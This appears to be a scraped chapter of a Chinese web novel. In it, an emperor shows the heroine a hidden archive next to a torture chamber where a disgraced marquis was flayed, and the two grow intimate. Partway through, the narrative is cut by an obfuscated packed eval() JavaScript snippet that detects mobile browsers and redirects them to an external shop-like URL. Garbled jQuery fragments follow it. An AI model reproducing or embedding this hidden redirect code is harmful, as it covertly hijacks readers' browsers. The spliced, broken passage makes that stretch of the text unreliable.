82. 锁死,立刻锁死!
作品:《说好的言情怎么干悬疑去了》 令玉京:“你在害怕?”
他一开口,赵乔扑通一声跪下,仍旧低着头,声音像挤出来的:“陛下,臣女……好,好害怕。”
令玉京:?怎么听不太出来,笑音哪里来的。
他狐疑的又看了看旁边被吊起来剥了皮的男人。令玉京能确定赵乔看到了,他设想过她会害怕,也想过她可能很平静,反正是没想过她会抽风。
赵乔善谎,世上最大的谎言就是骗过自己,她无师自通,天生自持。赵乔从来只看见她想看见的,理解她想理解的,所以从来没有内耗的过程,从某种程度上来说,她甚至比令玉京还要自我。
赵乔的世界是围绕着赵乔转的。
令玉京站起身,广袖被花枝挂住,他才又想起来那束茉莉,这是第一次有人送花给他,思来想去,他把花抱在怀里走向送它的人。
他没站在赵乔面前,而是站在了她的侧面,遮住后面的血人,踩到铜板,不耐烦的一脚踢开。
“好了。”令玉京说:“不用怕了。”
系统:“这也是位神仙,看不到就是没有,这逻辑,奇哉妙也。”
赵乔果然不抽了,油然而生的是一种“他果然爱着我”的表情。
系统:……妈的,这俩狗男女锁死钥匙扔海里吧!
好在赵乔的恋爱脑只表现给系统看,她还是很想在她恋爱脑对象面前表现出自己机智矜持的一面的,于是转了转膝盖,抬头看那张上帝毕设的脸:“谢谢陛下,臣女不怕了。”
“起来吧。”
赵乔站起身,老实跟着令玉京走到桌子对面那扇墙,推开进入另一间屋子,里面的空间比外面的刑室还要大,大很多,一个挨着一个的书架和置物架塞满了这个大房间。
赵乔有些惊叹的左顾右盼,不时略过几个标签,上面是听过的大臣的名字。
这些都是什么?
令玉京抱着花,从后面看能从他的臂弯中看见些许白色的茉莉倩影,随着他的步子一点点跳动,不自觉地,赵乔落后了好几步,能将他完完整整地纳入视线。
“怎么了?”
“啊?”赵乔呆子仰头:“没怎么。”
令玉京注视她的位置,陈述没有意义的事实:“你不走了。”
“啊。”赵乔呆子挠头:“我在想外头那位……是谁。”
令玉京没有回答,又往前走去,直到一个被布置的十分绵软适合窝着的榻前停下,上面有个熟悉的棉条生物,绿色小蛇。
哦,原来它在这里啊。
令玉京把花又扔到蛇身上。
嘶,这么漂亮娇嫩的花,怎么总和扔挂上钩呢,怪不温柔的。
“是怀远侯。”
嗯,很熟悉的名字,嗯?怀远侯?
“他这次科举做的不错。”提起不相干的人,令玉京态度不是很上心,只是因为在回答赵乔的问题,才舍得开尊口:“留了他一条命。”
这个因果链条是不是有点诡异?
“回头让人送去道明寺将养。”令玉京慢悠悠的想,慢悠悠的说,惬意躺在榻上:“就让你庄子上那个老妇人看着吧。”
这个瘫子杀人诛心啊。
对于怀远侯的下场,赵乔觉得可以理解:“怀远侯就这么消失,会不会给陛下带来些什么麻烦?”
“他获罪后空出来的利益,再加上我扔出去的,够填饱那些贪婪的嘴了。”令玉京闭着眼,呼吸几不可闻,整个人显得凉凉的,像一大块泡在冰池子里的玉石,夏天能抱一抱一定很爽。
她赞美榻上的瘫子:“陛下良善。”
令玉京:“哈哈哈哈哈哈哈哈。”
他笑了一会儿,觉得没意思,就不笑了,捞过绿色小蛇垫在头下,能看得出他经常这么干,小蛇的七寸有一个坑。
“喜欢这里吗?”
赵乔点点头,这里倒是挺好的,冬暖夏凉,睡得地方也很舒服,还有这么多能打发时间的书,如果这些书能看的话。
“那这里以后你管。”
她难以置信,是怎么聊到这儿的?而且管什么?当图书管理员吗?
赵乔指指外头:“包括外头?”
令玉京:“你想只要这一间也可以,不过总要经过外面的。”
就是这个道理啊!每次一来都要心一突突,再进到这里抚慰受伤的小心灵……不对,她为什么要答应管啊?
令玉京仿佛看透她的所思所想,安静的冲她招手,半睁的眼睛墨琉璃似的亮而寂。这里的光与外界不同,不发黄,要更白一些,衬得他更不似人间客了。
这世间大抵很少人能看到祯和帝这样的姿态,冠斜发散也不理,凭自己的直觉找到一个最舒服的姿势躺在那里,身体就停滞了,只有灵魂游荡在绵软的云端。
赵乔想象了一下,确实很安详,于是令玉京招手,她就过去了。
“嘿!”一个黑虎扑心,她滑到他身边,一脑袋扎花里了:“啊啾!”
众所周知,这世上的花香没有比桂花本体还要霸道的,她占八分,剩下两分得有一分是茉莉的,如此可见她的魅力也着实恐怖。
赵乔把自己从花里薅出来,翻了个身,把裙子压在身下大半,一扭头,见令玉京平躺侧头看她。
哇塞,这男人的脸侧躺也不垮哎。
赵乔将茉莉放在他胸前,正正经经,标准吸血鬼躺棺材。
令玉京:“你很喜欢笑。”
“笑好啊,能有笑出来的事情多好。”赵乔抬手,把袖子搭在嘴巴上打了个哈欠,神志渐渐游荡:“嗯……外头地上的铜钱是做什么的?”
不知何时,令玉京已经侧躺撑额角,垂眸看她,玄色衣袍被她压在身下,也不是很在意,随口道:“母后说若是心中犹疑,一面从心,一面有德,不是大事就抛铜板,哪面朝上就如何。”
和抛硬币一个理。赵乔:“不是大事?”
“嗯,大事没有第一个选项。”令玉京也躺下:“抬头。”
下意识地,赵乔就抬起来,和家里妈妈拖地让抬脚一样,令玉京把手臂伸过去搂住她,这一搂可是把她搂醒了,二人睡一张床都是一人一边,看似亲密,却没人觉得他们真的亲密,这次却不一样。
令玉京喉咙里发出一声谓叹,把她抱了个满怀,脸颊蹭了蹭她的发丝,不小心撞到小发饰,不开心的拽出来丢掉。
“哎哎哎!”赵乔伸出尔康手,被他捞回来。
那日赵乔蝴蝶离茧似地离开,他盯着她的背影,忽然就感到好奇,抱住这样的人会是一种什么样的感觉?他想她总会回来的,那时候可以试试。
第一天她没回来。嗯,她喜欢摆置那些死人,一天不算长。
第二天她没回来。有点烦,还有那一摞很高的折子,更烦。她还没回来吗?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358635|194513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>第三天她还是没回来。
令玉京想到昨天,他在怀远侯身前抛铜板,第一个正面朝上,不可以,第二个还是正面朝上,依旧不可以。这些铜板和她一样,总是背离他,不过没关系,他很有耐心。
和平公公在紫微殿久等不见陛下出来,已经快一个下午了,天边晚霞都徐徐,他轻轻打开密室向下走去,今日的刑室没有点烛火。
这个私刑密室是先帝的手笔,陛下上位以来没用过,从来都是拖着衣摆走过,去往里面的书简室,这次却破天荒的将获罪的怀远侯带到了这里来。
不见五指的室内只有很小一部分被外头阶梯旁的烛火照亮,一节玄色厚锦安静的待在光里,不见主人全貌,只能零星听到清脆的落地声,像是铜板,很多铜板。
还有呜咽声,沉闷绝望,呼吸沉重。
“陛下?”和平公公轻声道,提高手中拿下来的烛台往前送。
一张艳鬼一样的面容被昏黄的光照亮,祯和帝露出了一个苍白的笑,指着地上的那枚背面朝上的铜板:“和平,你来剥了他的皮吧。”
赵乔听完,问了个很是边缘的问题:“怎么让和平公公做?”
令玉京:“他以前在刑狱司。”
“不像啊!”赵乔啧啧,和平公公白白胖胖,一副笑眯眯跟谁都好的样子,真不像是干这个的。
令玉京不置可否,不想再聊别人:“你要这里吗?”
赵乔在他怀里转了个头:“我要来做什么?”
“打扫。”
赵乔:“?”
“这次私刑室启用,你不喜欢就让和平打扫。”
半天找人管的意思是找保洁啊?而且……她为什么会喜欢那些东西?他怎么想的?
令玉京也很奇怪:“你不是喜欢死人?好几天都不回来。”
回这个字赵乔好久都没用到过了,从那一天到现在,在令玉京说出这个字的时候她很难得的有了认同感。
但是她轻松的说:“您哪儿的话啊,臣女的家是安国公府哎。”
“家?”令玉京没动静了,半晌他问:“你如何定义?”
赵乔:“很主观,看个人。有时候是一座房子,有时候是一个人,还有时候是一件衣服,甚至是一座坟。”
“心血所向。”
她玩笑道:“陛下,怀远侯和怀远侯夫人不会把道明寺当家,哪怕那里是他们耗费精力最多的地方。同理可论,也没有大臣会把宣政殿当家。”
赵乔抬头看他,永远明媚的眼睛目不转睛,只有他:“是心之所向。”
有一个词是“一字一句”,原本它只是个模糊的词语,现在他有些明白它的魅力了。一个字便是一句话,一句话便是一篇文章,一篇最伟大的文章,由她的眼睛铸就。
书简室在地下,这里时间的流逝被抹杀,只有安静的呼吸。
“我不喜欢死人。”赵乔道:“如果是因为我,那没有必要。”
“那你喜欢什么?”
赵乔想歪脑袋,但活动范围有点小,他身上有茉莉的味道。真奇怪,她选茉莉就是因为味道的浓烈,可这样的味道在他身上也像开在南北极的,不知道接下来是被企鹅滑铲踹倒,还是被北极熊一爪子拍飞。
总之感觉变成了很危险的味道啊。
她呆了一下,道:“现在吗?现在我最喜欢刚刚被你甩地上的珠花。”

